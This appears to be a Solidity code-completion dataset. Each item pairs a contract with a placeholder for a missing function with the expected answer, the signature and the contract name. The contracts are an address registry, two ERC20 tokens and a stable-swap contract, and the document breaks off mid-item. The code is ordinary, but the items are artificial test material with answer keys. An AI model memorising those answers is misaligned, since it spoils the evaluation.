contract AddressConfig is Ownable, UsingValidator, Killable { address public token = 0x98626E2C9231f03504273d55f397409deFD4a093; address public allocator; address public allocatorStorage; address public withdraw; address public withdrawStorage; address public marketFactory; address public marketGroup; address public propertyFactory; address public propertyGroup; address public metricsGroup; address public metricsFactory; address public policy; address public policyFactory; address public policySet; address public policyGroup; address public lockup; address public lockupStorage; address public voteTimes; address public voteTimesStorage; address public voteCounter; address public voteCounterStorage; function setAllocator(address _addr) external onlyOwner { allocator = _addr; } function setAllocatorStorage(address _addr) external onlyOwner { allocatorStorage = _addr; } function setWithdraw(address _addr) external onlyOwner { withdraw = _addr; } function setWithdrawStorage(address _addr) external onlyOwner { withdrawStorage = _addr; } function setMarketFactory(address _addr) external onlyOwner { marketFactory = _addr; } function setMarketGroup(address _addr) external onlyOwner { marketGroup = _addr; } function setPropertyFactory(address _addr) external onlyOwner { propertyFactory = _addr; } function setPropertyGroup(address _addr) external onlyOwner { propertyGroup = _addr; } function setMetricsFactory(address _addr) external onlyOwner { metricsFactory = _addr; } function setMetricsGroup(address _addr) external onlyOwner { metricsGroup = _addr; } function setPolicyFactory(address _addr) external onlyOwner { policyFactory = _addr; } function setPolicyGroup(address _addr) external onlyOwner { policyGroup = _addr; } function setPolicySet(address _addr) external onlyOwner { policySet = _addr; } function setPolicy(address _addr) external { addressValidator().validateAddress(msg.sender, policyFactory); policy = _addr; } function setToken(address _addr) external onlyOwner { token = _addr; } function setLockup(address _addr) external onlyOwner { lockup = _addr; } function setLockupStorage(address _addr) external onlyOwner { lockupStorage = _addr; } function setVoteTimes(address _addr) external onlyOwner { voteTimes = _addr; } function setVoteTimesStorage(address _addr) external onlyOwner { voteTimesStorage = _addr; } <FILL_FUNCTION> function setVoteCounterStorage(address _addr) external onlyOwner { voteCounterStorage = _addr; } }
voteCounter = _addr;
function setVoteCounter(address _addr) external onlyOwner
function setVoteCounter(address _addr) external onlyOwner
1998
SwingTradeToken
transferFrom
contract SwingTradeToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SwingTradeToken() public { symbol = "WMB3"; name = "SwingTrade Token"; decimals = 18; _totalSupply = 100000000000000000000000000000000; balances[0x6Fd4cE0d9b5162a9B9A416e4af7d1FecE3b9e27c] = _totalSupply; Transfer(address(0), 0x6Fd4cE0d9b5162a9B9A416e4af7d1FecE3b9e27c, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract SwingTradeToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SwingTradeToken() public { symbol = "WMB3"; name = "SwingTrade Token"; decimals = 18; _totalSupply = 100000000000000000000000000000000; balances[0x6Fd4cE0d9b5162a9B9A416e4af7d1FecE3b9e27c] = _totalSupply; Transfer(address(0), 0x6Fd4cE0d9b5162a9B9A416e4af7d1FecE3b9e27c, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
46970
MassIndustrialMinerToken
approveAndCall
contract MassIndustrialMinerToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function MassIndustrialMinerToken() public { symbol = "MASS"; name = "Mass Industrial Miner"; decimals = 8; _totalSupply = 6250000000000000; balances[0xbd06428d5501cB677cA3691703A93DF32Af37996] = _totalSupply; Transfer(address(0), 0xbd06428d5501cB677cA3691703A93DF32Af37996, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract MassIndustrialMinerToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function MassIndustrialMinerToken() public { symbol = "MASS"; name = "Mass Industrial Miner"; decimals = 8; _totalSupply = 6250000000000000; balances[0xbd06428d5501cB677cA3691703A93DF32Af37996] = _totalSupply; Transfer(address(0), 0xbd06428d5501cB677cA3691703A93DF32Af37996, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
36495
TokenIOStableSwap
null
contract TokenIOStableSwap is Ownable { /// @dev use safe math operations using SafeMath for uint; //// @dev Set reference to TokenIOLib interface which proxies to TokenIOStorage using TokenIOLib for TokenIOLib.Data; TokenIOLib.Data lib; event StableSwap(address fromAsset, address toAsset, address requestedBy, uint amount, string currency); event TransferredHoldings(address asset, address to, uint amount); event AllowedERC20Asset(address asset, string currency); event RemovedERC20Asset(address asset, string currency); /** * @notice Constructor method for TokenIOStableSwap contract * @param _storageContract address of TokenIOStorage contract */ constructor(address _storageContract) public {<FILL_FUNCTION_BODY> } /** * @notice Allows the address of the asset to be accepted by this contract by the currency type. This method is only called by admins. * @notice This method may be deprecated or refactored to allow for multiple interfaces * @param asset Ethereum address of the ERC20 compliant smart contract to allow the swap * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @param feeBps Basis points Swap Fee * @param feeMin Minimum Swap Fees * @param feeMax Maximum Swap Fee * @param feeFlat Flat Swap Fee * @return { "success" : "Returns true if successfully called from another contract"} */ function allowAsset(address asset, string currency, uint feeBps, uint feeMin, uint feeMax, uint feeFlat) public onlyOwner notDeprecated returns (bool success) { bytes32 id = keccak256(abi.encodePacked('allowed.stable.asset', asset, currency)); require( lib.Storage.setBool(id, true), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); /// @notice set Currency for the asset; require(setAssetCurrency(asset, currency), 'Error: Unable to set Currency for asset'); /// @notice set the Fee Params for the asset require(setAssetFeeParams(asset, feeBps, feeMin, feeMax, feeFlat), 'Error: Unable to set fee params for asset'); /// @dev Log Allow ERC20 Asset emit AllowedERC20Asset(asset, currency); return true; } function removeAsset(address asset) public onlyOwner notDeprecated returns (bool success) { string memory currency = getAssetCurrency(asset); bytes32 id = keccak256(abi.encodePacked('allowed.stable.asset', asset, currency)); require( lib.Storage.setBool(id, false), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); emit RemovedERC20Asset(asset, currency); return true; } /** * @notice Return boolean if the asset is an allowed stable asset for the corresponding currency * @param asset Ethereum address of the ERC20 compliant smart contract to check allowed status of * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @return {"allowed": "Returns true if the asset is allowed"} */ function isAllowedAsset(address asset, string currency) public view returns (bool allowed) { if (isTokenXContract(asset, currency)) { return true; } else { bytes32 id = keccak256(abi.encodePacked('allowed.stable.asset', asset, currency)); return lib.Storage.getBool(id); } } /** * Set the Three Letter Abbrevation for the currency associated to the asset * @param asset Ethereum address of the asset to set the currency for * @param currency string Currency of the asset (NOTE: This is the currency for the asset) * @return { "success" : "Returns true if successfully called from another contract"} */ function setAssetCurrency(address asset, string currency) public onlyOwner returns (bool success) { bytes32 id = keccak256(abi.encodePacked('asset.currency', asset)); require( lib.Storage.setString(id, currency), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); return true; } /** * Get the Currency for an associated asset; * @param asset Ethereum address of the asset to get the currency for * @return {"currency": "Returns the Currency of the asset if the asset has been allowed."} */ function getAssetCurrency(address asset) public view returns (string currency) { bytes32 id = keccak256(abi.encodePacked('asset.currency', asset)); return lib.Storage.getString(id); } /** * @notice Register the address of the asset as a Token X asset for a specific currency * @notice This method may be deprecated or refactored to allow for multiple interfaces * @param asset Ethereum address of the ERC20 compliant Token X asset * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @return { "success" : "Returns true if successfully called from another contract"} */ function setTokenXCurrency(address asset, string currency) public onlyOwner notDeprecated returns (bool success) { bytes32 id = keccak256(abi.encodePacked('tokenx', asset, currency)); require( lib.Storage.setBool(id, true), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); /// @notice set Currency for the asset; require(setAssetCurrency(asset, currency)); return true; } /** * @notice Return boolean if the asset is a registered Token X asset for the corresponding currency * @param asset Ethereum address of the asset to check if is a registered Token X stable coin asset * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @return {"allowed": "Returns true if the asset is allowed"} */ function isTokenXContract(address asset, string currency) public view returns (bool isX) { bytes32 id = keccak256(abi.encodePacked('tokenx', asset, currency)); return lib.Storage.getBool(id); } /** * @notice Set BPS, Min, Max, and Flat fee params for asset * @param asset Ethereum address of the asset to set fees for. * @param feeBps Basis points Swap Fee * @param feeMin Minimum Swap Fees * @param feeMax Maximum Swap Fee * @param feeFlat Flat Swap Fee * @return { "success" : "Returns true if successfully called from another contract"} */ function setAssetFeeParams(address asset, uint feeBps, uint feeMin, uint feeMax, uint feeFlat) public onlyOwner notDeprecated returns (bool success) { /// @dev This method bypasses the setFee library methods and directly sets the fee params for a requested asset. /// @notice Fees can be different per asset. Some assets may have different liquidity requirements. require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.max', asset)), feeMax), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.min', asset)), feeMin), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.bps', asset)), feeBps), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.flat', asset)), feeFlat), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); return true; } /** * [calcAssetFees description] * @param asset Ethereum address of the asset to calculate fees based on * @param amount Amount to calculate fees on * @return { "fees" : "Returns the fees for the amount associated with the asset contract"} */ function calcAssetFees(address asset, uint amount) public view returns (uint fees) { return lib.calculateFees(asset, amount); } /** * @notice Return boolean if the asset is a registered Token X asset for the corresponding currency * @notice Amounts will always be passed in according to the decimal representation of the `fromAsset` token; * @param fromAsset Ethereum address of the asset with allowance for this contract to transfer and * @param toAsset Ethereum address of the asset to check if is a registered Token X stable coin asset * @param amount Amount of fromAsset to be transferred. * @return { "success" : "Returns true if successfully called from another contract"} */ function convert(address fromAsset, address toAsset, uint amount) public notDeprecated returns (bool success) { /// @notice lookup currency from one of the assets, check if allowed by both assets. string memory currency = getAssetCurrency(fromAsset); uint fromDecimals = ERC20Interface(fromAsset).decimals(); uint toDecimals = ERC20Interface(toAsset).decimals(); /// @dev Ensure assets are allowed to be swapped; require(isAllowedAsset(fromAsset, currency), 'Error: Unsupported asset requested. Asset must be supported by this contract and have a currency of `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK` .'); require(isAllowedAsset(toAsset, currency), 'Error: Unsupported asset requested. Asset must be supported by this contract and have a currency of `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK` .'); /// @dev require one of the assets be equal to Token X asset; if (isTokenXContract(toAsset, currency)) { /// @notice This requires the erc20 transfer function to return a boolean result of true; /// @dev the amount being transferred must be in the same decimal representation of the asset /// e.g. If decimals = 6 and want to transfer $100.00 the amount passed to this contract should be 100e6 (100 * 10 ** 6) require( ERC20Interface(fromAsset).transferFrom(msg.sender, address(this), amount), 'Error: Unable to transferFrom your asset holdings. Please ensure this contract has an approved allowance equal to or greater than the amount called in transferFrom method.' ); /// @dev Deposit TokenX asset to the user; /// @notice Amount received from deposit is net of fees. uint netAmountFrom = amount.sub(calcAssetFees(fromAsset, amount)); /// @dev Ensure amount is converted for the correct decimal representation; uint convertedAmountFrom = (netAmountFrom.mul(10**toDecimals)).div(10**fromDecimals); require( lib.deposit(lib.getTokenSymbol(toAsset), msg.sender, convertedAmountFrom, 'Token, Inc.'), "Error: Unable to deposit funds. Please check issuerFirm and firm authority are registered" ); } else if(isTokenXContract(fromAsset, currency)) { ///@dev Transfer the asset to the user; /// @notice Amount received from withdraw is net of fees. uint convertedAmount = (amount.mul(10**toDecimals)).div(10**fromDecimals); uint fees = calcAssetFees(toAsset, convertedAmount); uint netAmountTo = convertedAmount.sub(fees); /// @dev Ensure amount is converted for the correct decimal representation; require( ERC20Interface(toAsset).transfer(msg.sender, netAmountTo), 'Unable to call the requested erc20 contract.' ); /// @dev Withdraw TokenX asset from the user require( lib.withdraw(lib.getTokenSymbol(fromAsset), msg.sender, amount, 'Token, Inc.'), "Error: Unable to withdraw funds. Please check issuerFirm and firm authority are registered and have issued funds that can be withdrawn" ); } else { revert('Error: At least one asset must be issued by Token, Inc. (Token X).'); } /// @dev Log the swap event for event listeners emit StableSwap(fromAsset, toAsset, msg.sender, amount, currency); return true; } /** * Allow this contract to transfer collected fees to another contract; * @param asset Ethereum address of asset to transfer * @param to Transfer collected fees to the following account; * @param amount Amount of fromAsset to be transferred. * @return { "success" : "Returns true if successfully called from another contract"} */ function transferCollectedFees(address asset, address to, uint amount) public onlyOwner notDeprecated returns (bool success) { require( ERC20Interface(asset).transfer(to, amount), "Error: Unable to transfer fees to account." ); emit TransferredHoldings(asset, to, amount); return true; } /** * @notice gets currency status of contract * @return {"deprecated" : "Returns true if deprecated, false otherwise"} */ function deprecateInterface() public onlyOwner returns (bool deprecated) { require(lib.setDeprecatedContract(address(this)), "Error: Unable to deprecate contract!"); return true; } modifier notDeprecated() { /// @notice throws if contract is deprecated require(!lib.isContractDeprecated(address(this)), "Error: Contract has been deprecated, cannot perform operation!"); _; } }
contract TokenIOStableSwap is Ownable { /// @dev use safe math operations using SafeMath for uint; //// @dev Set reference to TokenIOLib interface which proxies to TokenIOStorage using TokenIOLib for TokenIOLib.Data; TokenIOLib.Data lib; event StableSwap(address fromAsset, address toAsset, address requestedBy, uint amount, string currency); event TransferredHoldings(address asset, address to, uint amount); event AllowedERC20Asset(address asset, string currency); event RemovedERC20Asset(address asset, string currency); <FILL_FUNCTION> /** * @notice Allows the address of the asset to be accepted by this contract by the currency type. This method is only called by admins. * @notice This method may be deprecated or refactored to allow for multiple interfaces * @param asset Ethereum address of the ERC20 compliant smart contract to allow the swap * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @param feeBps Basis points Swap Fee * @param feeMin Minimum Swap Fees * @param feeMax Maximum Swap Fee * @param feeFlat Flat Swap Fee * @return { "success" : "Returns true if successfully called from another contract"} */ function allowAsset(address asset, string currency, uint feeBps, uint feeMin, uint feeMax, uint feeFlat) public onlyOwner notDeprecated returns (bool success) { bytes32 id = keccak256(abi.encodePacked('allowed.stable.asset', asset, currency)); require( lib.Storage.setBool(id, true), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); /// @notice set Currency for the asset; require(setAssetCurrency(asset, currency), 'Error: Unable to set Currency for asset'); /// @notice set the Fee Params for the asset require(setAssetFeeParams(asset, feeBps, feeMin, feeMax, feeFlat), 'Error: Unable to set fee params for asset'); /// @dev Log Allow ERC20 Asset emit AllowedERC20Asset(asset, currency); return true; } function removeAsset(address asset) public onlyOwner notDeprecated returns (bool success) { string memory currency = getAssetCurrency(asset); bytes32 id = keccak256(abi.encodePacked('allowed.stable.asset', asset, currency)); require( lib.Storage.setBool(id, false), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); emit RemovedERC20Asset(asset, currency); return true; } /** * @notice Return boolean if the asset is an allowed stable asset for the corresponding currency * @param asset Ethereum address of the ERC20 compliant smart contract to check allowed status of * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @return {"allowed": "Returns true if the asset is allowed"} */ function isAllowedAsset(address asset, string currency) public view returns (bool allowed) { if (isTokenXContract(asset, currency)) { return true; } else { bytes32 id = keccak256(abi.encodePacked('allowed.stable.asset', asset, currency)); return lib.Storage.getBool(id); } } /** * Set the Three Letter Abbrevation for the currency associated to the asset * @param asset Ethereum address of the asset to set the currency for * @param currency string Currency of the asset (NOTE: This is the currency for the asset) * @return { "success" : "Returns true if successfully called from another contract"} */ function setAssetCurrency(address asset, string currency) public onlyOwner returns (bool success) { bytes32 id = keccak256(abi.encodePacked('asset.currency', asset)); require( lib.Storage.setString(id, currency), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); return true; } /** * Get the Currency for an associated asset; * @param asset Ethereum address of the asset to get the currency for * @return {"currency": "Returns the Currency of the asset if the asset has been allowed."} */ function getAssetCurrency(address asset) public view returns (string currency) { bytes32 id = keccak256(abi.encodePacked('asset.currency', asset)); return lib.Storage.getString(id); } /** * @notice Register the address of the asset as a Token X asset for a specific currency * @notice This method may be deprecated or refactored to allow for multiple interfaces * @param asset Ethereum address of the ERC20 compliant Token X asset * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @return { "success" : "Returns true if successfully called from another contract"} */ function setTokenXCurrency(address asset, string currency) public onlyOwner notDeprecated returns (bool success) { bytes32 id = keccak256(abi.encodePacked('tokenx', asset, currency)); require( lib.Storage.setBool(id, true), "Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract." ); /// @notice set Currency for the asset; require(setAssetCurrency(asset, currency)); return true; } /** * @notice Return boolean if the asset is a registered Token X asset for the corresponding currency * @param asset Ethereum address of the asset to check if is a registered Token X stable coin asset * @param currency string Currency symbol of the token (e.g. `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK`) * @return {"allowed": "Returns true if the asset is allowed"} */ function isTokenXContract(address asset, string currency) public view returns (bool isX) { bytes32 id = keccak256(abi.encodePacked('tokenx', asset, currency)); return lib.Storage.getBool(id); } /** * @notice Set BPS, Min, Max, and Flat fee params for asset * @param asset Ethereum address of the asset to set fees for. * @param feeBps Basis points Swap Fee * @param feeMin Minimum Swap Fees * @param feeMax Maximum Swap Fee * @param feeFlat Flat Swap Fee * @return { "success" : "Returns true if successfully called from another contract"} */ function setAssetFeeParams(address asset, uint feeBps, uint feeMin, uint feeMax, uint feeFlat) public onlyOwner notDeprecated returns (bool success) { /// @dev This method bypasses the setFee library methods and directly sets the fee params for a requested asset. /// @notice Fees can be different per asset. Some assets may have different liquidity requirements. require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.max', asset)), feeMax), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.min', asset)), feeMin), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.bps', asset)), feeBps), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); require(lib.Storage.setUint(keccak256(abi.encodePacked('fee.flat', asset)), feeFlat), 'Error: Failed to set fee parameters with storage contract. Please check permissions.'); return true; } /** * [calcAssetFees description] * @param asset Ethereum address of the asset to calculate fees based on * @param amount Amount to calculate fees on * @return { "fees" : "Returns the fees for the amount associated with the asset contract"} */ function calcAssetFees(address asset, uint amount) public view returns (uint fees) { return lib.calculateFees(asset, amount); } /** * @notice Return boolean if the asset is a registered Token X asset for the corresponding currency * @notice Amounts will always be passed in according to the decimal representation of the `fromAsset` token; * @param fromAsset Ethereum address of the asset with allowance for this contract to transfer and * @param toAsset Ethereum address of the asset to check if is a registered Token X stable coin asset * @param amount Amount of fromAsset to be transferred. * @return { "success" : "Returns true if successfully called from another contract"} */ function convert(address fromAsset, address toAsset, uint amount) public notDeprecated returns (bool success) { /// @notice lookup currency from one of the assets, check if allowed by both assets. string memory currency = 